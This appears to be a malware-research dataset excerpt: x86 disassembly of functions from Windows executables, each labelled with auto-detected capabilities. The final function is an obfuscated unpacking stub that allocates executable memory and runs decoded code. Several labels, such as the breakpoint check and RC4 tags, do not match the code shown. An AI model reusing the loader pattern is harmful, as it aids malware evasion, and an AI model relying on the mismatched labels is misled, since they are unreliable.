joyce8/EMBER2024-capa huggingface dataset:
Function at 0x424ab6
Capabilities:
Find taskbar

Disassembly:
push 0x28
mov eax, 0x46d8b8
call fcn.00451515
mov esi, ecx
xor edi, edi
cmp dword [esi + 0x30], edi
mov dword [ebp - 0x14], edi
je 0x424bc7
cmp dword [esi + 0x2c], 0xffffffff
je 0x424bc7
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
push edi
push 0x481720
mov dword [ebp - 4], edi
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, edi
je 0x424b12
push eax
lea eax, [ebp - 0x24]
push edi
push eax
call fcn.00424c9a
add esp, 0xc
cmp dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x1c]
jne 0x424b1e
xor ebx, ebx
jmp 0x424b26
mov ebx, eax
sub ebx, dword [ebp - 0x20]
sar ebx, 2
test ebx, ebx
jle 0x424b87
jmp 0x424b2f
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x20], 0
je 0x424b3f
sub eax, dword [ebp - 0x20]
sar eax, 2
cmp edi, eax
jb 0x424b44
call fcn.00449d86
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x34]
push ecx
push dword [esi + 0x2c]
lea eax, [eax + edi*4]
push dword [esi + 0x30]
mov ecx, dword [eax]
call fcn.00424ce8
xor ecx, ecx
inc ecx
add esp, 0xc
cmp eax, ecx
jne 0x424b7c
mov eax, dword [ebp - 0x34]
lea edx, [eax + 8]
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov edx, dword [ebp - 0x30]
add edx, 8
mov dword [eax + 4], edx
mov dword [ebp - 0x14], ecx
inc edi
cmp edi, ebx
jl 0x424b2c
cmp dword [ebp - 0x14], 0
jne 0x424baf
call fcn.00409e06
test eax, eax
je 0x424b9c
mov esi, dword [ebp + 8]
call fcn.004249cf
test eax, eax
jne 0x424ba8
mov esi, dword [ebp + 8]
call fcn.00424a33
test eax, eax
je 0x424baf
mov dword [ebp - 0x14], 1
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0
je 0x424bc2
push dword [ebp - 0x20]
call fcn.00448968
pop ecx
mov eax, dword [ebp - 0x14]
jmp 0x424bc9
xor eax, eax
call fcn.004515ed
ret 4
Function at 0x42a492
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x1c
mov eax, 0x46d278
call fcn.00451515
mov edi, ecx
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp + 8]
mov esi, eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
xor ebx, ebx
cmp eax, ebx
je 0x42a4fb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
je 0x42a50b
mov dword [ebp - 0x28], vtable.CxMemFile.0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x1c], bl
push ebx
push edi
lea edi, [ebp - 0x28]
mov dword [ebp - 4], ebx
call fcn.0042a515
mov esi, edi
mov bl, al
call fcn.0042c72e
mov al, bl
jmp 0x42a50d
add edi, 0x44
push str.Unable_to_load_resource_
push edi
call fcn.0044e920
pop ecx
pop ecx
xor al, al
call fcn.004515ed
ret 8
Function at 0x434519
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, eax
cmp dword [esi + 0x14], 0xca
jne 0x434568
mov eax, dword [esi + 4]
push 0x1c
push 1
push esi
call dword [eax]
mov dword [esi + 0x180], eax
mov dword [eax], 0x4336a1
mov dword [eax + 4], 0x4337cd
mov byte [eax + 8], 0
add esp, 0xc
mov eax, esi
call fcn.004334c6
cmp byte [esi + 0x40], 0
je 0x434561
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x4345d5
mov eax, dword [esi + 0x190]
cmp byte [eax + 0x10], 0
je 0x4345ca
mov eax, dword [esi + 8]
test eax, eax
je 0x434589
push esi
call dword [eax]
pop ecx
mov eax, dword [esi + 0x190]
push esi
call dword [eax]
test eax, eax
pop ecx
je 0x4345c6
cmp eax, 2
je 0x4345ca
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x43457e
cmp eax, 3
je 0x4345ad
cmp eax, 1
jne 0x43457e
inc dword [ecx + 4]
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
cmp ecx, dword [eax + 8]
jl 0x43457e
mov ecx, dword [esi + 0x11c]
add dword [eax + 8], ecx
jmp 0x43457e
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
mov dword [esi + 0x84], eax
jmp 0x4345f3
cmp eax, 0xcc
je 0x4345f3
mov eax, dword [esi]
mov dword [eax + 0x14], 0x14
mov eax, dword [esi]
mov ecx, dword [esi + 0x14]
mov dword [eax + 0x18], ecx
mov eax, dword [esi]
push esi
call dword [eax]
pop ecx
call fcn.004345fa
pop esi
ret
Function at 0x434c28
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
cmp eax, ecx
mov dword [ebp - 8], edi
jb 0x434cb5
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.004491b0
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x434c75
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x434c97
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x434d72
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
cmp ecx, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
jbe 0x434cdd
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x434ce8
xor eax, eax
jmp 0x434d33
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x434d05
mov ecx, dword [edi]
mov eax, dword [edi + 0x30]
push edx
call fcn.00444e0c
jmp 0x434d16
cmp ecx, 2
jne 0x434d1d
push edx
push dword [edi + 0x30]
mov edx, dword [edi]
call fcn.0043d109
pop ecx
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
pop ecx
push dword [ebp - 4]
push dword [edi]
push eax
call fcn.004491b0
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x434d5e
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x434d72
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x434c33
pop edi
pop ebx
leave
ret
Function at 0x446990
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x64
mov eax, dword [0x48e600]
xor eax, esp
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x68]
xor edx, edx
cmp ecx, edx
push esi
je 0x446a03
cmp eax, edx
jle 0x446a03
cmp edi, edx
je 0x446a03
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.00446b00
add esp, 4
lea esi, [esp + 8]
mov ecx, edi
call fcn.00446bc0
mov al, 1
pop esi
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.00448983
add esp, 0x64
ret
mov ecx, dword [esp + 0x64]
pop esi
xor ecx, esp
xor al, al
call fcn.00448983
add esp, 0x64
ret

Function at 0x447544
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x48e600]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00447483
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00448f20
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x447593
cmp dword [ebp - 0x1c], 5
jb 0x4475ab
jmp 0x4475a7
cmp dword [ebp - 0x10], 1
jne 0x4475ab
cmp dword [ebp - 0x1c], 4
ja 0x4475a7
jne 0x4475ab
cmp dword [ebp - 0x18], 0
jbe 0x4475ab
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x46f62c
call fcn.00412b80
test eax, eax
jge 0x4475cc
mov byte [0x4926dc], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00448983
add ebp, 0x78
leave
ret

Function at 0x447a46
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4918b0], 0
push esi
jne 0x4479b9
call fcn.004478e4
test eax, eax
je 0x4479fc
mov eax, dword [0x4918b0]
cmp eax, 1
jne 0x4479da
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4479fc
pop esi
ret
push eax
call dword [0x4918b8]
test eax, eax
jne 0x447a44
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x447a00
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4918b0]
call dword [0x4918b8]
mov edi, eax
test edi, edi
je 0x447a27
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x447a43
lea edi, [esi + 0xff0]
push esi
push dword [0x4918b0]
call dword [0x4918b4]
add esi, 0x10
cmp esi, edi
jb 0x447a2d
mov eax, esi
pop edi
pop esi
ret
jmp 0x4479a6

Function at 0x448983
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48e600]
jne 0x44898d
repz ret
jmp fcn.00454227
Function at 0x44ea18
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x44ea55
cmp dword [ebp + 0x14], edi
je 0x44ea55
cmp ecx, edi
jne 0x44ea5c
call fcn.004526f8
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.00449d62
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x44ea70
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x44ea91
cmp ebx, 0xffffffff
je 0x44ea80
push ebx
push edi
push ecx
call fcn.00448f20
add esp, 0xc
cmp esi, edi
je 0x44ea3d
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x44ea3d
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x44eaad
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x44eab4
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x44eba5
test word [esi + 0xc], 0x10c
je 0x44eb08
mov eax, dword [esi + 4]
test eax, eax
je 0x44eb08
jl 0x44ec06
cmp ebx, eax
mov edi, ebx
jb 0x44ead9
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x44ebad
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004489c2
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x44eb9d
cmp ebx, dword [ebp - 0xc]
jb 0x44eb75
cmp dword [ebp - 0xc], 0
je 0x44eb32
mov ecx, closesocket
xor edx, edx
cmp ebx, ecx
jbe 0x44eb27
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x44eb2e
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x44eb3d
mov eax, closesocket
cmp ebx, eax
ja 0x44eb3d
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x44ebd9
push eax
push dword [ebp - 8]
push esi
call fcn.0045c128
pop ecx
push eax
call fcn.0045e9d4
add esp, 0xc
test eax, eax
je 0x44ec18
cmp eax, 0xffffffff
je 0x44ec06
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x44eb9d
push esi
call fcn.0045bdc8
cmp eax, 0xffffffff
pop ecx
je 0x44ec0a
cmp dword [ebp - 4], 0
je 0x44ebd9
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x44eabc
mov eax, dword [ebp + 0x14]
jmp 0x44ea57
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x44ebc4
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.00448f20
add esp, 0xc
call fcn.004526f8
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x44ea4d
cmp dword [ebp + 0xc], 0xffffffff
je 0x44ebef
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00448f20
add esp, 0xc
call fcn.004526f8
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x44ea4d
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x44ea57
or dword [esi + 0xc], 0x10
jmp 0x44ec0a
Function at 0x45a841
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x48f080]
je 0x45a85c
inc edi
cmp edi, 0x17
jb 0x45a84d
cmp edi, 0x17
jae 0x45a9dc
push ebp
push 3
call fcn.00466b14
cmp eax, 1
pop ecx
je 0x45a9a8
push 3
call fcn.00466b14
test eax, eax
pop ecx
jne 0x45a890
cmp dword [0x48e2b4], 1
je 0x45a9a8
cmp ebx, 0xfc
je 0x45a9db
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x492108
push ebp
call fcn.00457768
add esp, 0xc
test eax, eax
je 0x45a8c6
push esi
push esi
push esi
push esi
push esi
call fcn.00449c66
add esp, 0x14
push 0x104
mov esi, 0x492121
push esi
push 0
mov byte [0x492225], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x45a90a
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00457768
add esp, 0xc
test eax, eax
je 0x45a90a
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00449c66
add esp, 0x14
push esi
call fcn.00448e90
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x45a94f
push esi
call fcn.00448e90
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x49241c
push 0x470b74
sub ecx, eax
push ecx
push eax
call fcn.004649ae
add esp, 0x14
test eax, eax
je 0x45a94f
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00449c66
add esp, 0x14
jmp 0x45a951
xor esi, esi
push 0x470b70
push ebx
push ebp
call fcn.0046493d
add esp, 0xc
test eax, eax
je 0x45a971
push esi
push esi
push esi
push esi
push esi
call fcn.00449c66
add esp, 0x14
push dword [edi*8 + 0x48f084]
push ebx
push ebp
call fcn.0046493d
add esp, 0xc
test eax, eax
je 0x45a993
push esi
push esi
push esi
push esi
push esi
call fcn.00449c66
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00466957
add esp, 0xc
jmp 0x45a9db
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x45a9db
cmp ebp, 0xffffffff
je 0x45a9db
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x48f084]
push dword [esi]
call fcn.00448e90
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x466957
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00454475
xor ebx, ebx
cmp dword [0x4926ac], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x466a2d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x466b0d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x466b0d
push eax
call fcn.00454407
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4926ac], eax
call esi
push eax
call fcn.00454407
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4926b0], eax
call esi
push eax
call fcn.00454407
mov dword [0x4926b4], eax
lea eax, [ebp - 0xc]
push eax
call fcn.004501db
test eax, eax
pop ecx
pop ecx
je 0x4669fb
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00449c66
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x466a2d
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00454407
cmp eax, ebx
pop ecx
mov dword [0x4926bc], eax
je 0x466a2d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00454407
pop ecx
mov dword [0x4926b8], eax
mov eax, dword [0x4926b8]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x466ab2
cmp dword [0x4926bc], ecx
je 0x466ab2
push eax
call fcn.0045447e
push dword [0x4926bc]
mov esi, eax
call fcn.0045447e
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x466ab2
cmp edi, ebx
je 0x466ab2
call esi
cmp eax, ebx
je 0x466a7f
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x466a7f
test byte [ebp - 0x18], 1
jne 0x466ab2
lea eax, [ebp - 0x10]
push eax
call fcn.00450212
test eax, eax
pop ecx
je 0x466a9a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00449c66
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x466aa9
or dword [ebp + 0x10], 0x200000
jmp 0x466aed
or dword [ebp + 0x10], 0x40000
jmp 0x466aed
mov eax, dword [0x4926b0]
cmp eax, dword [ebp - 8]
je 0x466aed
push eax
call fcn.0045447e
cmp eax, ebx
pop ecx
je 0x466aed
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x466aed
mov eax, dword [0x4926b4]
cmp eax, dword [ebp - 8]
je 0x466aed
push eax
call fcn.0045447e
cmp eax, ebx
pop ecx
je 0x466aed
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4926ac]
call fcn.0045447e
cmp eax, ebx
pop ecx
je 0x466b0d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x466b0f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x497e3d
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [0x1000b200]
push edi
mov edi, dword [ebp + 8]
push dword [edi]
call esi
push dword [edi + 4]
mov ebx, eax
call esi
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x14]
lea edi, [ebp - 0x14]
sub eax, ecx
mov dword [ebp + 0xc], 4
mov dword [ebp - 4], eax
jmp 0x497e77
mov eax, dword [ebp - 4]
push dword [eax + edi]
call esi
mov dword [edi], eax
add edi, 4
dec dword [ebp + 0xc]
jne 0x497e74
push 0x10
xor eax, eax
pop ecx
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 8]
shr edx, 5
add edx, dword [ebp - 0x10]
sub eax, 0x61c88647
shl esi, 4
add esi, dword [ebp - 0x14]
xor edx, esi
mov esi, dword [ebp + 8]
add esi, eax
xor edx, esi
add ebx, edx
mov edx, ebx
mov esi, ebx
shr edx, 5
add edx, dword [ebp - 8]
shl esi, 4
add esi, dword [ebp - 0xc]
xor edx, esi
lea esi, [eax + ebx]
xor edx, esi
add dword [ebp + 8], edx
dec ecx
jne 0x497e8b
mov esi, dword [0x1000b208]
push ebx
call esi
mov edi, dword [ebp + 0x10]
push dword [ebp + 8]
mov dword [edi], eax
call esi
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x49a662
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [0x1000b200]
push edi
mov edi, dword [ebp + 8]
push dword [edi]
call esi
push dword [edi + 4]
mov dword [ebp + 8], eax
call esi
mov ebx, eax
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x14]
lea edi, [ebp - 0x14]
sub eax, ecx
mov dword [ebp + 0xc], 4
mov dword [ebp - 4], eax
jmp 0x49a69c
mov eax, dword [ebp - 4]
push dword [eax + edi]
call esi
mov dword [edi], eax
add edi, 4
dec dword [ebp + 0xc]
jne 0x49a699
push 0x10
mov eax, 0xe3779b90
pop ecx
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 8]
shr edx, 5
add edx, dword [ebp - 8]
shl esi, 4
add esi, dword [ebp - 0xc]
xor edx, esi
mov esi, dword [ebp + 8]
add esi, eax
xor edx, esi
sub ebx, edx
mov edx, ebx
mov esi, ebx
shr edx, 5
add edx, dword [ebp - 0x10]
shl esi, 4
add esi, dword [ebp - 0x14]
xor edx, esi
lea esi, [eax + ebx]
xor edx, esi
add eax, 0x61c88647
sub dword [ebp + 8], edx
dec ecx
jne 0x49a6b3
push dword [ebp + 8]
mov esi, dword [0x1000b208]
call esi
mov edi, dword [ebp + 0x10]
push ebx
mov dword [edi], eax
call esi
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x49bccc
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
ret
Function at 0x401350
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x58
xor eax, eax
push 0x44
push eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0xc], 0
call fcn.00401ae0
add esp, 0xc
push 1
push 0x401330
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.kernel32.dll_SetConsoleCtrlHandler]
mov eax, dword [esp + 0x5c]
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
push eax
push 0
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
jne 0x4013d5
push str.failed_to_create_process._n
call fcn.004018e1
add eax, 0x40
push eax
call fcn.004017c5
add esp, 8
xor eax, eax
add esp, 0x58
ret
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0xc]
push 0xffffffffffffffff
push edx
mov dword [0x412000], ecx
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ecx, dword [esp + 4]
lea eax, [esp]
push eax
push ecx
call dword [sym.imp.kernel32.dll_GetExitCodeProcess]
test eax, eax
jne 0x401406
push str.failed_to_get_exit_code_from_process._n
jmp 0x4013be
mov eax, dword [esp]
add esp, 0x58
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.004082e9
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.004082e9
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.004082e9
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.004082e9
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.004082e9
mov dword [0x41203c], eax
call fcn.004082e9
test eax, eax
jge 0x402550
push 8
call fcn.004082e9
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.004082e9
pop ecx
push 1
call fcn.004082e9
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.004082e9
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.004082e9
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.004082e9
jmp 0x402495

Function at 0x4082e9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4082f8
pop dword [ebp - 8]
mov eax, 0x4082f8
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x35416
push 0
mov eax, 0xf4299262
sub eax, 0xf3e8b18a
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x115e4cc8
sub ecx, 0x115e14af
xor edx, edx
add edx, eax
mov ebx, 0x8dca9e78
sub ebx, 0x8d8962b4
add ebx, dword [ebp - 8]
mov esi, 0xff3d162
sub esi, 0x4d12a11
xor dword [ebp - 4], ecx
mov edi, dword [ebx]
add edi, esi
sub dword [ebp - 4], 0xf539515b
mov dword [edx], edi
sub dword [ebp - 4], edx
add edx, 4
add ebx, 0x33d2e062
add ebx, 0xcc2d1fa2
loop 0x408354
add eax, 0x5b3668c0
add eax, 0xa4ca6a77
xor ebx, ebx
add ebx, eax
add eax, 0xe7267cb3
sub eax, 0xe7267cae
mov ecx, 0x3c056e8
add ecx, 0xfc7fa918
add ecx, dword [ebp - 8]
call ebx
leave
ret